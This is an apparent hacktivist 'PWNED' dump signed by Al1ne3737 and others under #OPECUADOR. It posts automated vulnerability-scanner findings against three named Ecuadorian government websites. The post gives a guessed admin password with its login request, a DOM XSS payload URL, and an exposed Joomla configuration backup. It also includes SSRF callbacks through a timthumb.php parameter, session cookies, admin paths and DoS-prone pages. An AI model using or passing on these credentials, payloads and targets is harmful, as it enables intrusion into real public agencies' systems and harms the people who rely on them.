#OPECUADOR AL1NE3737

  ____                           _
 |  _ \ _ __ _   _ _____ __ __ _| | ___   _
 | |_) | '__| | | |_  / '__/ _` | |/ / | | |
 |  __/| |  | |_| |/ /| | | (_| |   <| |_| |
 |_|   |_|   \__, /___|_|  \__,_|_|\_\\__, |
             |___/                    |___/



Agrocalidad – La Agencia de Regulación y Control Fito y Zoosanitario:	http://www.agrocalidad.gob.ec/

Agencia Metropolitana de Tránsito:	http://www.amt.gob.ec/

Instituto Geográfico Militar - Ecuador:	http://www.igm.gob.ec/



PWNED BY AL1NE3737

We are: Al1ne3737 // Mecz1nho // Ergo // Poptart // TkaTheGod // Xoha.


Seorang anak yang lahir hari ini akan tumbuh tanpa konsepsi privasi.
Mereka tidak akan pernah tahu apa artinya memiliki momen tertentu untuk diri mereka sendiri
pemikiran yang tidak terdaftar dan tidak dianalisis.
Dan itu masalah karena privasi itu penting; privasi adalah apa yang memungkinkan
kita untuk menentukan siapa kita dan siapa yang kita inginkan.


	http://www.agrocalidad.gob.ec/

Vulnerability description
Manual confirmation is required for this alert.

This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes.
This vulnerability affects /revistaecuadorescalidad/index.php/revista/user/registerUser.
Discovered by: Scripting (Html_Authentication_Audit.script).
Attack details
Username: admin, Password: 1


POST /revistaecuadorescalidad/index.php/revista/user/registerUser HTTP/1.1
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Referer: http://www.agrocalidad.gob.ec/
Host: www.agrocalidad.gob.ec
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

existingUser=admin&password=1&username=gfharbgv


Vulnerability description
This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

While a traditional cross-site scripting vulnerability occurs on the server-side code, document object model based cross-site scripting is a type of vulnerability which affects the script code in the client's browser.
This vulnerability affects /coordinacion-general-de-sanidad-vegetal.
Discovered by: DeepScan.
Attack details
Source: Location
Location: http://www.agrocalidad.gob.ec/coordinacion-general-de-sanidad-vegetal/?wvstest=javascript:domxssExecutionSink(1,"<br>()locxss")edge.sharethis.comjavascript:domxssExecutionSink(1,"<br>()locxss")
Execution Sink: set HTML code
HTML code set:
brary/js/fillsize.js?ver=4.7.4"></script>
<script type="text/javascript" src="http://www.agrocalidad.gob.ec/wp-content/themes/Sitio-32/library/js/jquery.arctext.js?ver=4.7.4"></script>
<script type="text/javascript" src="http://www.agrocalidad.gob.ec/wp-includes/js/wp-embed.min.js?ver=4.7.4"></script>
<script type="text/javascript">
/* <![CDATA[ */
var icegram_pre_data = {"ajax_url":"http:\/\/www.agrocalidad.gob.ec\/wp-admin\/admin-ajax.php","post_obj":{"wvstest":"javascript:domxssExecutionSink(1,\\\"<br>()locxss\\\")edge.sharethis.comjavascript:domxssExecutionSink(1,\\\"<br>()locxss\\\")","is_home":false,"page_id":23039,"action":"display_messages","shortcodes":[],"cache_compatibility":"no","device":"laptop"}};
/* ]]> */
</script>
<script type="text/javascript" src="http://www.agrocalidad.gob.ec/wp-content/plugins/icegram/assets/js/main.min.js?ver=1.10.25"></script>
<script type="text/javascript" src="http://www.agrocalidad.gob.ec/wp-includes/js/jquery/ui/position.min.js?ver=1.11.4"></script> ...

================================================================================================================================================================================================================================================================================================================================================================================================================

================================================================================================================================================================================================================================================================================================================================================================================================================

	http://www.amt.gob.ec/

Vulnerability description
A backup/temporary configuration file was found on this directory. It has been confirmed that this file contains PHP source code.

Several popular text editors like Vim and Emacs automatically create backup copies of the files you edit, giving them names like "wp-config.php~" and "#wp-config.php#". If the text editor crashes or the SSH connection drops during editing, then the temporary backup files may not be cleaned up correctly. Also, sometimes developers create this type of files to backup their work or by administrators when making backups of the web server. Most servers, including Apache, will serve the plaintext of .php~ and .php# files without passing them through the PHP preprocessor first, since they don't have the .php file extension.
This vulnerability affects //configuration.php_old.
Discovered by: Scripting (Config_File_Disclosure.script).
Attack details
Configuration file variant found: configuration.php_old


<?php
class JConfig {
	public $MetaAuthor = '0';
	public $MetaDesc = 'Corpaire, Revisi



GET //configuration.php_old HTTP/1.1
Cookie: 55f9c737a043904db80b5aaa56757816=tiv41n24ip0mbbaeseen0sl7q6
Host: www.amt.gob.ec
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


URL encoded GET input id was set to http://hitwVLQActFjo.bxss.me/

An HTTP request was initiated for the domain hitwVLQActFjo.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:

IP address: 186.42.161.194
User agent:


URL encoded GET input id was set to http://hitKcR7eAhIfU.bxss.me/

An HTTP request was initiated for the domain hitKcR7eAhIfU.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:

IP address: 186.42.161.194
User agent:


URL encoded GET input id was set to http://hitNQhVvvMrYH.bxss.me/

An HTTP request was initiated for the domain hitNQhVvvMrYH.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:

IP address: 186.42.161.194
User agent:

html => 69 file(s)
css => 22 file(s)
js => 29 file(s)
php => 2 file(s)
txt => 1 file(s)
md => 1 file(s)

The files listed below had the slowest response times measured during the crawling process. The average response time for this site was 136,07 ms. These files could be targetted in denial of service attacks.

1. /, response time 1438 ms

These files contain Javascript code referenced from the website.


/components/com_k2/js/k2.js
/components/com_roksprocket/layouts/lists/themes/default/lists.js
/components/com_roksprocket/assets/js/mootools-mobile.js
/components/com_roksprocket/assets/js/rokmediaqueries.js
/components/com_roksprocket/assets/js/roksprocket.js
/components/com_roksprocket/assets/js/roksprocket.request.js
/media/widgetkit/widgets/twitter/twitter.js
/media/widgetkit/widgets/slideshow/js/lazyloader.js
/media/widgetkit/js/jquery.plugins.js
/media/widgetkit/js/responsive.js
/media/modals/js/jquery.colorbox-min.js
/media/modals/js/script.min.js
/media/com_uniterevolution2/assets/rs-plugin/js/jquery.themepunch.tools.min.js
/media/com_uniterevolution2/assets/rs-plugin/js/jquery.themepunch.revolution.min.js
/media/system/js/mootools-core.js
/media/system/js/core.js
/media/system/js/mootools-more.js
/media/jui/js/jquery.min.js
/media/jui/js/jquery-noconflict.js
/media/jui/js/jquery-migrate.min.js
/media/jui/js/bootstrap.min.js
/templates/corposs_template/js/menu.js
/templates/corposs_template/js/custom.js
/plugins/system/helix/js/jquery-noconflict.js
/plugins/system/helix/js/modernizr-2.6.2.min.js
/plugins/system/helix/js/helix.core.js
/plugins/system/rokbox/assets/js/rokbox.js
/plugins/system/imageeffectck/assets/imageeffectck.js
/js/custom.js

These files have at least one input (GET or POST).


/index.php - 1 inputs
/index.php/servicios/matriculacion-vehicular-menu/pasos-para-matricular-vehiculos-exonerados.html - 1 inputs
/index.php/component/content/article.html - 1 inputs

================================================================================================================================================================================================================================================================================================================================================================================================================

================================================================================================================================================================================================================================================================================================================================================================================================================

	http://www.igm.gob.ec/modules/mod_zt_news/timthumb.php?h=49&src=http://hitbZVfbiq3NS.bxss.me/&w=49

SSRF as in Server Side Request Forgery is a vulnerability that allows an attacker to force server interfaces into sending packets initiated by the victim server to the local interface or to another server behind the firewall. Consult Web References for more information about this problem.
This vulnerability affects /modules/mod_zt_news/timthumb.php.
Discovered by: Scripting (Server_Side_Request_Forgery.script).

GET /modules/mod_zt_news/timthumb.php?h=49&src=http://hitbZVfbiq3NS.bxss.me/&w=49 HTTP/1.1
Cookie: e2c123c3eda5a6a92093f2e5d7b558f5=s0agqu76f570u4mbgh9g1endd6; 86ee5050f0600801d8617940d052722d=en-GB; c8027f0722a323fc3a1fd1fb51cb797f=s9pnq0tq2plb0t07udhpgcilh0
Host: www.igm.gob.ec
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

Fixed in Apache httpd 2.2.10:

low: mod_proxy_ftp globbing XSS CVE-2008-2939
A flaw was found in the handling of wildcards in the path of a FTP URL with mod_proxy_ftp. If mod_proxy_ftp is enabled to support FTP-over-HTTP, requests containing globbing characters could lead to cross-site scripting (XSS) attacks.

Affected Apache versions (2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0).

This vulnerability affects Web Server.
Discovered by: Scripting (Version_Check.script).


Category : Files containing juicy info

Files uploaded through ftp by other people, sometimes you can find all sorts of things from movies to important stuff.

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.
Affected items
/templates/zo2_charity/assets/zo2/development/images/typo
/templates/zo2_charity/assets/zo2/images/typo

/administrator
/index.php/en/component/users

This vulnerability affects Web Server.
Discovered by: Slow_HTTP_DOS.
Attack details
Time difference between connections: 9969 ms

================================================================================================================================================================================================================================================================================================================================================================================================================